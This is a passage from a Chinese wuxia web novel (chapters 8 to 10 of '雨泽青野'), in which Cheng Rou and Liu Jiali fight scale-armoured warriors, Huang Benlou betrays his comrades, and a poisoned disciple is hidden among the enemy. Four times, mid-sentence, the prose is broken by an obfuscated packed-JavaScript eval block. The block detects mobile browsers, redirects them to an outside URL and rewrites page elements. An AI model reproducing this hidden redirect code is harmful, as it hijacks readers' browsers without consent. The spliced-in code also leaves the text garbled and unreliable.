眼见清理得差不多,一阵刺耳的海螺音忽响起,起伏高高低低,越来越急。程柔被那声音劈了一下,五内俱震。 面前被击倒的邪教徒,听到螺音,竟快速地爬起,再一次向她扑过来! 程柔没有理会他们。她从脚下踢起一把鲛人落下的分水刺,转身往螺音的方向一掷。 螺音戛然而止。鲛人们再一次软软倒下,只是这次远不如上一次舒服 ——他们扑来的时候密密麻麻,骤然翻倒,便是一个叠一个,垒成了三层。压在底下的,没有移开身上人的力气,只能兀自呻吟。 “干嘛在这里叠罗汉?”程柔收起烧天,笑吟吟看自己面前堆叠的鲛人,而后蹲下身,对着其中一个“基石”道: “你们老大也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669340|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真不懂分配,明明你冲得最勇猛,怎么反倒被压在最下面?” “怎么·····有人捷足先登啊。”又来了十数人,其中一个如此说道。熟悉的声音,抬头一望,不是黄奔楼又是谁? 他的声音不轻不重,恰好是需要人仔细去听才能听清的程度,但里面不满的意味十分鲜明。阴恻恻的,不直接起冲突,只让人知道它存在,硌得慌。 “这些人已经失血过多,得快些送去医馆。”一个清冽女声从人群后面响起。是柳葭丽。 “随他们去好了,谁叫他们涉足禁地。”黄奔楼不耐烦道,“不受些教训,也不会老实。” “咳咳,咳······”躺倒的伤者发出声响。 “副使,这些人衣襟上绣的·····是什么啊?”黄奔楼身后另一个白衣少年走上前俯身查看。他身着衣衫制式与黄奔楼大抵相似,只是绣线装饰更少,没有那么华贵。 伤者撑起身,喉中吐出一口水。名叫楠罗的麦衣少年将他的大师兄扶起。 “是这位少侠救了我们吗?”黄奔楼被他抓住衣角,也不否认。 “多谢·····楠罗,是你找到了他们?” “不是,我跑回去的时候,遇到了······”楠罗话未说完,被楠江打断。 “总之……多谢少侠出手相助,否则,我们这一行人便只能葬身鱼腹。请受在下一拜。”楠江尚不能稳住身体,但还是向着黄奔楼抱拳一礼。 “我们是来自渠山的灵楠派,若少侠日后有用得到的地方,我等一定尽力相助。” 灵楠派是为朝廷看守金丝楠木的一个帮会,虽然规模不大,也不以武艺见长,但地位金贵。黄奔楼一听就变了脸色。 “久闻大名,幸会,幸会。”黄奔楼扶起楠江,脸上表情已然亲和。 他翻脸实在太快,程柔惊讶于其中变化,惊得瞪了眼。 肩膀被人拍了拍,是柳葭丽。她原被黄奔楼的人挤在角落里,懒得看他表演扶危济世,倒是好奇如此利落地打服一众邪教徒后,还能将他们叠放得如此齐整的程柔是何许人。 于是来到程柔身旁,指了指面前人堆,轻声道: “好厉害!你怎么做到的?” “猜猜看。”程柔向她眨眨眼。看见柳葭丽一双琥珀色的眼瞳里亮亮的好奇,她觉得很亲切,于是有意逗她。 柳葭丽思索了一下,便诚实道:“真猜不着。一般打完,应该是散的。” “本来确实是散的。可是他们领头出来了,吹的不知道什么螺,一群人又打鸡血一样乌泱泱往我这挤。我将那螺声打断,他们就这样了。” “领头的呢?” “喂鱼了。”程柔反手指向身后河水。 “哈哈,哈哈······”柳葭丽轻声笑起来。这一笑,便惊到了众人。毕竟在人家谢恩、结交的严肃场面,这样笑就好像嘲弄别人一样。 “柳葭丽,你怎么这么不懂礼仪?”黄奔楼愠怒道。 实在没忍住。柳葭丽好容易收敛好表情,有点无语:“本来没在笑你。可你要是如此说,倒真提醒了我你的可笑之处。” “人是这位姑娘救的,你在这冒领什么?” 8. 雨泽青野·其四 黄奔楼冷眼扫向柳葭丽,声音陡然转厉:“柳葭丽,你这话什么意思?莫非你不是龙鸣的人?!” “这位姑娘仗义出手,黄某感佩。然灵楠派诸位朋友伤势不轻,须速送医馆。她孤身一人,如何照料得过来?到头来,不还是要我们龙鸣客栈出手接应?此时分什么你我,岂不寒了人心,误了大事?” 楠江借楠罗之力站稳,目光在众人间一扫,心下已明了几分。他朝黄奔楼拱手一笑,语气恳切:“多谢龙鸣诸位仗义相助。今日仓促,未能尽礼,他日灵楠派必当登门致谢。” 说罢,他缓步走向程柔,与楠罗一同郑重行礼。楠江温言道:“多谢姑娘救命之恩。方才误会姑娘是龙鸣之人,实属冒昧。不知姑娘尊姓大名?他日若想寻姑娘谢恩,该去往何处?” 楠罗也叹道:“姑娘好俊的身手,先前是我眼拙,还请勿要见怪。” 程柔回以一礼:“在下程柔,寻常游历之人罢了。江湖相逢便是缘分,举手之劳,二位不必挂怀。” “这怎么行!”楠江与楠罗对视一眼,后者取出一块金丝楠木牌,日光下浮光流转。 “姑娘既云游四方,还请收下此牌。”楠江语意诚恳,“向钱庄出示此牌,可用作支钱,或可解一时之需·····” “朋友的好意我心领,如此贵重的谢礼实在不必。”程柔摇头推拒。 “那么,留下它作个装饰也很好看。做牌的木头,我们都是挑最好的。 游历四海之乐在于无拘无束,亦在于体验人生百味,收集各处喜乐。正如姑娘所言,四海相逢是缘分,今日得蒙相救,更是一段奇遇。姑娘何不收下,留作这番相遇之情的纪念?” 楠江之言打动了她,程柔闻言微笑:“阁下所言极是。以此如此珍贵的礼物纪念相逢,一定会用心珍藏。多谢。” 点了手下几人护送灵楠派,黄奔楼不满道:“柳葭丽,要帮忙,你怎么不拨几个人手出力?” 柳葭丽身旁人数寥寥,与黄奔楼一派分在两边。方才她身边两位蓝裙女子上前时,黄奔楼身旁白色制衣的人见到,便退后三尺。 柳葭丽蹙眉:“如奔楼兄所言,我们都是龙鸣中人,那又何必分什么你我派系?再者,平凝平烟她们更善于攻战,留在这里解决邪教徒,更是治本之策,何谈没有出力?” “不顾眼下之急,只知追功逐利,算什么英雄?”黄奔楼冷笑。 柳葭丽并不应声,阔步走上前路。她身旁人直直跟上。 许一灵猴般蜷在树杈间,双腿勾住粗枝,忽然一个倒翻,整个人垂落在柳葭丽身侧,压低声音道:“头儿,闸门就在陂塘西侧,旁边有个山洞入口。” 说着抬手虚指:“九个蛟人守着,全穿着蛟鳞甲。亮得扎眼,日光一照,晃得人眼睛发疼。” “那洞穴里多半有埋伏。他们挟持了林隐派,我们去开闸绝不能打草惊蛇,若让对方察觉,拿人质作要挟,反倒束手束脚。” 柳葭丽指尖叩在剑鞘上,发出清脆一响:“蛟鳞甲刀枪难入,鳞缘锋利。若被近身合围,瞬间会被碾成血泥,连骨头一起碎掉。要一口气解决九个······还有点麻烦。” “那就用箭射。照准头颅,必须同时命中!”黄奔楼厉声下令,“弓箭手预备。” 柳葭丽并未立即接话。她麾下擅射的唯有华峥与刘平烟,二人也未理会黄奔楼,反而同时转向柳葭丽,无声请示。 见她微一颔首,他们才挽弓上前。树后九人陆续就位,华、刘二人领到箭矢,眼睛覆上黑纱。 此时黄奔楼的一名部下急声报道:“副使,箭矢仅剩八支!鲛人鳞甲反射日光,过于晃眼,我们难以瞄准!” 黄奔楼脸色一沉,刚欲开口,却被柳葭丽打断:“箭,全交给他们二人。我来绕后突袭。所有人等我信号再动。” 黄奔楼冷哼一声道:“你要送死,我随你。可我的人凭什么把箭让给你们?”他手指猛地戳向华刘二人,"就凭这两个?箭发得再快,能快过蛟人翻身?痴人说梦!” “既知你的人瞄不准,便该让能者出手。华峥和平烟都是百步穿杨、盲射断香的好手,你的人行吗?莫非你要因一己之私,赌上所有人的性命?” 柳葭丽指节轻按剑柄,却不拔出半分,“要争要打,出了这片山随你的便。现在,要么交箭,要么你自己去斩蛟。” 黄奔楼脸上红一阵白一阵,终是没有发作,愠怒道:“刚才谁说自己瞄不准的?交箭。” 两个白衣制服将箭递给了华峥和刘平烟,默默退到最角落。 柳葭丽隐匿在风声里飞奔。为了灵便,途中她没有拔剑,空手降落在鲛人身后的山石上。 鲛人穿着刺甲无法坐下,因此靠在山石上休息。看守了近半个月都没有出现状况,他们已经懈怠了。 浑然不知头顶上青野剑锋已瞄准他们的脖子。对面的丛林中,箭弦已经绷紧,精钢打制的锋利箭头已经指向他们头颅。 “嘭!”一支箭破空,射中了鲛人身边的树枝。 “我,我不是故意的,他们鳞甲太刺眼,我睁不开眼睛·······” “有敌情!”鲛人大叫道。他们迅速转身,把被鳞甲覆盖的后脑留给对面,这一下,就看见了山石上的柳葭丽。 计划完全被打破。柳葭丽跃下来,靠着向下的冲击力和重剑惯性的加持,迎面给最近的鲛人开了瓢。 鲛人的头盔被砸烂,血溅到柳葭丽身上脸上,将她那件翠绿衣衫染得斑斑。 这一下,拖延了他们躲进掩体。其余弓箭手一齐放箭,射中四个鲛人。 华峥一次发出两支箭羽,射中两个,黄奔楼的一个弓箭手又射偏。 “没有金刚钻,揽什么瓷器活!”刘平烟心里暗骂道。然而,现在不是问罪的时候。接过黄奔楼的人递来的箭,他们再次绷弦。 狭窄悬崖上,四柄分水刺向着柳葭丽突袭。眼前一片鳞甲反光,柳葭丽看不见其余任何。直到一柄分水刺探近她心口,她才感受到它带来的尖锐的风。 柳葭丽已经被包围,四个鳞甲冲过来要做绞肉机,碾挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669341|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。她以剑撑身,即将被尖刺钉穿的时候堪堪跃起,与身后鳞甲擦过,左肩破皮流血。 她无暇顾及,双手攀住岩石一蹬,将方才刺她的鲛人踢落山崖。 鲛人身着铠甲,不便登高,待在上面可以免受那种碾肉机的进攻方式。他们的掩体后面是洞穴的入口。既然他们往里呼喊,便说明里面有人,但是,却还没有出来支援。 既如此,便还有时间。 柳葭丽瞄准了最外面的那个鲛人再一次跃下。可是,对方已有防备。柳葭丽没能一击制敌,这其间两个扑过来,预备故技重施。 “嘭!”就在距离柳葭丽不到一尺的地方,身后两个鲛人被一支长箭穿成串,钉在了山石上。 华峥从不会让人失望!旁边的刘平烟作如此想。 她搭上最后一支箭羽,瞄准对面悬崖上,最后一个鲛人若隐若现的面部,心中默念:“要射中。然后,丽姐会去打开陂塘的闸门。大水一泄,大功告成。” 柳葭丽向洞穴的方向闪退。鲛人撤手蓄力。 就是现在! 箭将离弦的刹那,刘平烟手肘骤然一歪。被一股毫无征兆的大力撞上,她精心维持的方向平衡瞬间打破。 射出的箭失了准头,嗖地一声射偏,径直没入洞穴深处的黑暗里。 “谁?!”刘平烟又惊又怒,倏然转身。 黄奔楼正抱臂而立,脸上尽是计谋得逞的阴冷笑意。 刘平烟听见旁白压抑的挣扎声。她眼角余光瞥见姐姐刘平凝和许一早已被人反剪双臂,捆得结实,嘴里也塞布条,连呼救都做不到。 华峥挡在她身前,他们便先绑华峥。他用弓弦套住来人脖子,在杀死一人的同时被掀倒。四个白衣制服用剑点上他背,浅刺进去。 睚眦欲裂。刘平烟眼见华峥倒地,甩起手中长弓便向黄奔楼砸去:“为什么害自己人?!你······” 话音未落,黄奔楼侧身伸手,死死掐住她的咽喉,将她拎离地面。 呼吸。已经无法呼吸。刘平烟眼前越来越暗。她被掐得的眼睛快要爆开,脸色灰白一片。 刘平凝挣身甩开压制自己的两人,撞向黄奔楼。黄奔楼却嗤笑一声,抬脚对着半空中扑来的身影狠狠一踹。 刘平凝跌落,额角重重磕上锐石,鲜血漫过眉眼。四柄冷剑立刻指住了她的要害。 黄奔楼略松了松掐住刘平烟的手,享受着她艰难抽气的嘶声,笑道: “武林可不是莽夫横行之地,今日便叫你们死个明白。这借刀杀人之计,用得如何?”他笑声一收,语气陡转阴冷。 目光扫过眼前众人,黄奔楼慢条斯理地续道:“不过,你们能死于如此妙计之下,也算朝闻道,夕可死。黄泉路上,好好想明白,下辈子选主,须得擦亮眼睛。” “你们的用处到此为止。剩的那一个鲛人,柳葭丽自会解决。援兵已经来了,她会拼死开闸,然后被鲛人的毒针射成刺猬。至于你们,就先行一步等等她吧!” 言毕,他五指再次猛然收紧。 9. 雨泽青野·其五 “副、副使!蛟人……是蛟人杀过来了!”一名手下汇报。 “慌什么?区区几个小水匪,杀了便是。”黄奔楼手上不放,掐着气息微弱的刘平烟,表情阴狠嗜血。 “不止几个。是······是一大群!您快拿个主意吧!”手下声音发颤。 黄奔楼不耐烦,睨了手下一眼,将刘平烟掷在地。转头望去,只见数十蛟人赤目如血,手持分水刺,潮水般涌来。 “快结阵!”黄奔楼下令。 “副使,这里地势低又临悬崖,用那个阵法只怕施展不开啊······”手下硬着头皮劝谏。 “那就三人一组,散开阵型,给我杀!难道还要本使亲自动手不成?” 三人为组,两人银龙鞭缠住蛟人双足,一人甩软棍去打。这是龙鸣客栈平日擅长的招式。住所内不愿见血,因此应对干戈用鞭棍居多。 银龙鞭打在腿上,会使对方失去重心而跌倒。软棍使上力气,也能砸筋断骨。只可惜,这群蛟人已然暴走,他们不畏疼痛,蛮力如怪物。用龙鸣客栈惯用的招式应对,反而吃亏。 “这样没用!给我用鞭子绞他们的脖子!”黄奔楼指挥道,手腕一抖,长鞭如毒蛇出洞,率先缠向最近一个蛟人的脖颈。 众人见状纷纷效仿,银龙鞭纷纷缠上不远处蛟人头颈。谁知那些蛟人竟不闪不避,一双肌肉虬结的巨掌抓住鞭梢,猛力回拉! 一名使鞭人收势不及,被拖拽向前,贴上蛟人脸庞,来不及惊叫,便被一拳打碎鼻骨,当场软倒。 “废物!”黄奔楼冷哼一声。他的下盘倒是稳当,一条银鞭竟同时卷住三个蛟人,发力回扯。手下纷纷叫好:“副使好手段!” 黄奔楼再催内力,三名蛟人颈骨折断,瘫软在地。 在手下的齐声喝彩中,黄奔楼手腕一抖,长鞭再次扬起,直取第四个蛟人。就在这时,一道黑影突然出现。 他覆盖赤鳞的铁爪抓住鞭梢,来势汹汹的长鞭瞬间僵止。 黄奔楼只觉得一股巨力从鞭上传来。他虎口迸裂,整条手臂顿时麻木。还不及变招,那股巨力便将他连人带鞭狠狠抡起。 黄奔楼勉强扭身落地,虽未跌倒,却也没捞到任何便宜。手中长鞭几乎脱手,方才的威风荡然无存。 “嗬嗬嗬嗬······” 来人发出一阵如指甲抓挠骨头般刺耳的怪笑,放肆张狂,叫人无法不听。 笑声未落,那人在一次掠至近前,夺过黄奔楼身旁一人手上软棍,反手一甩。只听得头骨击碎的嘭声,被夺棍者当场暴毙。 “啧,这玩具也精致,怪有意思。”他捏着软棍甩玩起来。众人此时看清他形貌,来者身材劲瘦,身着黑衣,小臂,胸前等处覆盖了层层张开的赤色鳞甲。 “你······你是血鳞蛟?”黄奔楼急退两步,手中长剑横挡身前,声音带着不易察觉的颤抖。 “自然。”血鳞蛟死盯住黄奔楼手上的剑,铁爪轻轻摩挲着软棍,笑容兴奋。 “你们守的陂塘要被打开了,你怎么不去支援?”黄奔楼不可置信。 “打开又怎样,与老子何干?我只在乎是谁杀了我的蛟兵。你的功夫还可以,可惜训手下的本事简直不能再烂。” “别管那些杂鱼烂虾了。陪老子玩玩,如果老子尽兴了,就允许你选择自己的死法,怎么样?” 黄奔楼手下众人停下动作,面面相觑,眼里尽是震惊无望。 黄奔楼握紧手中剑,这是县令前日亲手所赠,精钢百炼而成的宝剑。县令曾叮嘱“见此剑如见本官”。他日日贴身携带,视若倚仗。 血鳞蛟嗤笑一声,伸爪突刺,直奔黄奔楼面门。黄奔楼慌忙后撤架剑,只听一声刺耳锐响,那剑竟被血鳞蛟的铁爪生生攥住。 铁爪一发力,剑身瞬间扭曲成弧形。“这……怎么可能?”黄奔楼错愕道,“县令他……怎么能用这等破铜烂铁搪塞于我?!” “梁行光给你的?”血鳞蛟像是被逗笑,“看来你这蠢货不过是他的耗材罢了。”话音未落,另一只铁爪已狠狠掏向黄奔楼胸口,用力一剜。 黄奔楼身上那件白色锦衣登时破溃,渗出鲜血,整个人扑倒在地。 血鳞蛟再上前时,黄奔楼没有闪避,口中喃喃:“原来如此······县令大人的教诲,我是谋局者,剑本就该是摆设。” 他咳着血笑起来,声音里带着几分自嘲的癫狂:“我不该亲自下场······更不该在没有十足胜算之时,就对柳葭丽图穷匕见······” “哈哈哈······那你就愿赌服输吧!”血鳞蛟一脚踢开他,放声嘲笑。黄奔楼的手下见到此景,面如死灰,彻底崩溃,竟有数人直接纵身跳崖。 “杀死我蛟兵的,不是你。你们不过是所谓正派里最没本事的喽啰。浪费我的时间。” 血鳞蛟的铁爪掐进黄奔楼的咽喉。“我问你,你见没见过别的用剑的武士?” 一片混乱中,刘平烟退在后面已松绑了几人。血鳞蛟察觉,将黄奔楼的软榻的尸身砸向她们身前,问道: “你们,见过吗?” 另一边的山崖上。 蛟人阻拦在前,狂吼着扑来。柳葭丽却无心恋战,她身如流云,轻巧穿过蛟人攻势缝隙,落在闸门机关之前。 柳葭丽手腕一沉,气凝丹田,那扇本需要四人之力方能开启的闸门便被她抬起一线,发出闷响。 霎时间大水泄下。蛟人仍扑来,这一次直到临近,柳葭丽才躲开。蛟人收势不及,撞在闸口机关之上。铁闸受到冲击,反而洞开得更彻底。 “多谢你省我的力气。”柳葭丽笑谢一声,而后剑光一闪砍断手柄。蛟人紧攥着那半截木头跌落山崖。 轰隆的水声激荡四野,如同雷鸣。几尾发亮的黑鱼顺着水流落进河道中。一接触到水潭,它们便亢奋起来,追着水中其他小鱼撕咬。 “咳咳。”洞穴里传来嗽声,柳葭丽闻声望去,见到一个花须老者被架着从蛟人的洞穴中踉跄走出。他胸膛上插着一把尾端雕刻蛇形的箭,正是方才刘平烟射出那支。 “这可真是大水冲了龙王庙,自己人杀自己人啊。”老者身后,一个裹着黑色头巾的矮小男子探头,笑声得意。 花须老者是林隐派的掌门叶寻音。挟持他的矮小男子,是百蛟洞的毒师腐骨蛟。百蛟洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669342|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所制的毒药,以及活人祭鱼的招式皆出自他手。 “老头儿,这可怨不得我。放箭的又不是我。”叶寻音被推着前进,面色愠怒。每走一步,那箭便抖动一下,鲜血渗得更凶。 “停下。”柳葭丽声音冷冽。 “呵呵。”腐骨蛟伸手在那支箭上摩挲,笑容阴恻恻:“想我停下可以,只要你就地自刎。”言毕,他向着箭屈指一弹。 “自刎?”柳葭丽道,“你百蛟洞的信誉,值我拿命做赌吗?不如这样,你放开叶掌门,我立刻弃剑,绝不反抗。否则,我怎知我死了之后,你会不会再给他补上一刀?” 叶寻音咬牙道:“柳姑娘,别与他纠缠。快去将那陂塘的闸门关掉!水中黑鱼有毒!” 柳葭丽闻言色变。 腐骨蛟笑道:“现在知道,来得及吗?凤鸣琴早已送走,鱼毒无药可解。让水流便是!山下的人喝着毒水,还当是甘泉。但要陂塘不开,他们不得把你们撕了!” 柳葭丽背身欲冲向闸门,腐骨蛟以叶寻音为盾牌,在后面发射毒针。数十毒针齐发,排成横列飞向柳葭丽。 柳葭丽不得不回身格挡。来回之间,身后轰隆水声愈响愈急。 “我今日学到两个成语。一个叫‘大水冲了龙王庙’,另一个叫做‘覆水难收’!”腐骨蛟大笑道。 从天降下一条粉色缎带,将腐骨蛟双手缠住,拎上天空。 叶寻音向前一跌,被柳葭丽扶住。 “前辈请撑住身体。”柳葭丽以拳攥住在叶寻音胸口晃动的箭柄,剑光一闪,便将过长部分齐根削断。箭身不再晃动。 程柔立在山崖之上,将手中洗潋收紧。 “你少学了一个成语。第三个叫做‘一着不慎,满盘皆输’!覆水虽然不能收,但是,把那些黑鱼引回来却有办法。你猜是什么?”程柔道。 “她是从哪里钻出来的?!血鳞蛟不是去截人了吗?” 腐骨蛟心中叫骂,额上渗出冷汗。他知道程柔的意思。那些黑鱼由他的毒血饲养。只要将他绑在上游放血,黑鱼就会被吸引游回。 对面的悬崖传来尖啸与血鳞蛟刺耳的笑声。程柔和柳葭丽眼见黄奔楼的手下跃下悬崖,神情皆变。 分神间,腐骨蛟袖中喷出毒液,腐蚀了洗潋。他跌落在地,连退数步。 柳葭丽拔剑护在叶寻音身前,神色凝重看向程柔。程柔等待她开口。 “程女侠,那边恐生变故·····恕我不能离开这里,可否请你······” “好。你多当心!”程柔转身疾掠而去。 “杀我蛟兵的那个用剑的武士在哪?说出来,我赏你们个痛快!”血鳞蛟发狂砸出黄奔楼的尸身。 一股呼啸剑气削入血鳞蛟身前地面,留下一道深深裂痕。感受到那股骇人的力道,血鳞蛟后退三尺。 血鳞蛟眯眼看向剑气来处。只见一女子翩然落地,挡在众人之前,衣袂随风落下。 是程柔。她截住了被扔出的黄奔楼,将他放置在地。 “你要找的人,在这。” 血鳞蛟目光灼灼,从那柄剑缓缓移到持剑人沉静的脸上,表情近乎兴奋。 10. 雨泽青野·其六 “是你。”血鳞蛟盯着地上烧天剑留下的裂痕,脸上肌肉微微抽动,“还算像样,让我看看你的本事。” “那么,便打吧。”程柔剑尖微沉。 “你以为我要亲自下场?”血鳞蛟纵声怪笑,“你懂斗场么?斗场是观赏的地方。先陪我的孩儿们玩玩,等他们撕开你的喉咙,用你的血祭了我那些手下,再说其他!” 程柔闻言笑笑,身形乍动,剑风凛冽,直取血鳞蛟的头颅。 血鳞蛟退后一丈,身旁蛟兵立马护在他身前,严丝合缝。程柔剑走轻灵,在蛟人侧身避开时变招,轨迹在空中成莲。不过三两个照面,前排蛟兵已踉跄退后,甲裂血溅。 “嗬嗬嗬······”血鳞蛟大笑,“够劲!我的蛟兵死在你手里,怪他们技不如人。” 程柔剑势方收,四周蛟兵的喘息声陡然粗重起来。他们喉间滚动着类似野兽的低嚎,握着分水刺的指节因过度用力而泛白。 那几个脸上溅了血的蛟人最为焦躁,动作已完全失了章法,胡乱用袖子抹了把脸,竟将沾满血污的手塞进嘴里,贪婪地吮吸起来。 空气中弥漫开一股令人不安的狂热。程柔只将烧天剑在最近一个蛟兵的衣甲上缓缓擦净血迹,还剑入鞘,发出一声清晰响声。 饮过血的蛟兵眼瞳更加赤红,最后一丝理智彻底湮灭,从四面八方向她扑来。 程柔岿然不动,既不出剑,也不后退, “程女侠,快拔剑啊!”刘平烟急切的喊声自身后传来。 “别叫!”血鳞蛟笑道,手中不知何时多了一枚骨白色的螺笛。随意吹出两个短促的音节,原本狂躁的蛟兵竟如被无形丝线操控般,齐刷刷僵在原地。 他满意地欣赏着这一幕,目光转向程柔:“嗬嗬······你还算识相。这些崽子见了血,不撕碎点什么是不会停手的。” 他咧开嘴,露出森白的牙齿,“你运气也不错······还没杀到不该杀的人。” “什么意思。”程柔道。 “林秀。”血鳞蛟一字一顿,破锣般的嗓音此刻咬得无比清晰。 程柔闻言色变。 林秀是林隐派的大弟子,被门派托付藏匿凤鸣琴,是唯一确切知晓凤鸣琴下落的人。完成任务后,他不知所踪。因此,程柔一直试图寻找他。 “惊喜吗?踏破铁鞋无觅处,得来全不费功夫。你翻遍凤栖阁要找的人,就在这儿。”血鳞蛟嘻嘻笑道。 “林秀就在这群蛟兵里面。吃了血蛟狂,现在驯得差不多了。只要让他动手再杀一人,他就彻底成我的人了。” “这便是阁下的斗场?”程柔愠怒道。 “多精彩啊。”血鳞蛟笑容得意,“你可以杀光他们,连林秀一起。或者,让他们活活耗死你,用你的命成全他的狂化。选吧。能让你选,已是给足你面子。” 程柔持剑与血鳞蛟对峙,不置一词。 龙鸣客栈的几人眼神交流,神色担忧。 柳葭丽与他们奉命援助林隐派,保护凤鸣琴。若林秀身死,他们该如何对林隐派交代?若凤鸣琴因此遗失,县令要治罪柳葭丽,又该如何? 场面寂静。血鳞蛟阴冷的目光扫过程柔,钉在她身后龙鸣客栈几人身上。 “你们几个,也别闲着。” 他齿缝间漏出嘶嘶笑意:你们龙鸣客栈,不是奉了县太爷的差事要保林秀么?” “她杀林秀,你们没法交差;林秀杀她,你们也活不成。不如老子给你们指条活路。” “做了她。”他喉咙里滚出低沉的笑声,“一了百了。” 程柔心中沉吟。 林秀、凤鸣琴。 血蛟狂无药可解。此毒能令血气暴走,心智迷失。中毒者会暂时力大无穷,不知痛楚,但筋骨脏腑也将随之枯竭。每一次目睹杀戮,或亲自动手杀伤人,都会增加中毒者的狂性。 凤鸣琴是唯一转机,其音能定人心魂。百蛟洞对林秀下毒,意在逼他取琴自救。 然而林秀并未屈从。 为避免弹奏凤鸣琴时走火入魔,林隐派众人要经受特殊的心法训练,使心绪宁和。因此,林秀对此毒抗力应远胜常人。 然而他如今濒临失控,必然是因目睹或亲历了过多杀戮,心神侵蚀将尽。 程柔心中愤怒,身形倏地掠出,袖中洗潋直取最近两名蛟兵。她使的是巧劲,缎带灵巧地缠住对方脚踝,发力一扯—— 要从这群蛟兵里找出林秀,并不容易。中血蛟狂者面部血管暴起,难以辨别原貌。更何况,他们面上全都覆了面甲,显然是血鳞蛟有意为之。 ——只好一一排查。 两人应声倒地。程柔手腕轻抖,洗潋顺势缠上他们脖颈,却不取性命,只凝神观察他们挣扎时的反应。见二人招式杂乱无章,确是寻常蛟兵,便腕上使个暗劲,将人震晕过去。 如此往复,洗潋在人群中穿梭翻飞,不多时已放倒十余人。这般打法虽不致命,却极耗心神内力。 待洗潋再次缠上一人手腕时,对方竟不闪不避,反手攥紧缎带,顺势在臂上连绕数圈,猛地发力回扯—— 一股巨力顺着洗潋向上,狂潮般拉拽程柔。她手掌皮肤裂开,渗出鲜血。 程柔借势旋身,将洗潋缠在虬枝上,飞速绕了两圈,而后将身体卡在其间。 碗口粗的树干发出不堪重负的“嘎吱”哀鸣,迅速弯折,木屑簌簌。程柔蹬住粗糙的树皮,指节泛白,鲜血顺着洗潋滴答落下,在脚下黄土上溅开点点殷红。 脚下,失去目标的蛟人意识到被愚弄,喉间发出狂怒低吼。程柔的鲜血让他们兴奋,转而疯狂地撞击那棵已然摇摇欲坠的古树。 “呜——呜——”血鳞蛟催奏笛音。在这片催命一样的尖音中,他们撞击的动作更加勇猛。 树枝咔擦,呜呜尖利笛音,还有蛟人嘶吼声混杂在一起。程柔的身影随树干剧烈摇晃,飘飘荡荡。 “咔——!” 一声脆响,程柔借力的那根主枝先行断裂!她重心骤失,整个人向下急坠。 厉风刮过程柔的耳畔,混杂着蛟人嗜血的嘶鸣与利爪破空的尖啸。下方,张开的布满尖牙的巨口,以及数只直取她咽喉心口的利爪上的鳞片,清晰可见。 血鳞蛟原站在离双方对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669343|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峙的“斗场”五步的位置吹奏螺笛。“斗场”上战况焦灼,他被吸引了注意,全然没有注意身侧刘平烟手上弹弓已然瞄准,欲发未发。 “呜!”笛音被打断,螺笛破碎。 血鳞蛟愠怒,侧脸望去,却见刘平凝和许一手上兵刃破空袭来。 “不自量力!”血鳞蛟嗤笑一声,铁爪迎上刘平凝的长鞭与许一的短棍。 二人招式陡然一变。刘平凝的长鞭如灵蛇缠腕,牢牢锁住他铁爪;许一则矮身疾进,短棍直取他下盘要害。 “哼。”血鳞蛟同时催力变招。金铁交鸣之声刺耳欲聋。二人一齐飞出,长鞭断裂,虎口渗血。 血鳞蛟盯住他的铁爪,银鞭在上面留下一道伤痕。 他猛地将手中螺笛碎片掷出,碎片在内力灌注下破空,分取二人要害。速度之快让二人无从闪避,只得挥舞残存的兵器格挡。 他二人身在半空,旧力已尽、新力未生,只能向着坚硬的地面坠去。 此时一道身影疾掠而至,是刘平烟。她咬牙迎上,双手分别托住姐姐和许一的后背。巨大的冲击力让她连退数步,脚下岩石都被踩出裂痕。 三人踉跄站稳,再看向手中兵器时,神色一凛:那对鞭棍不仅断裂,残留的部分更是扭曲成了怪异的形状,不成样子。 血鳞蛟无意缠斗,身形一展便要向程柔的方向疾掠而去。 刘平烟的弹弓再一次出击,取向血鳞蛟的后心。 血鳞蛟被迫拧身,片刻迟滞间,又被三人包围。 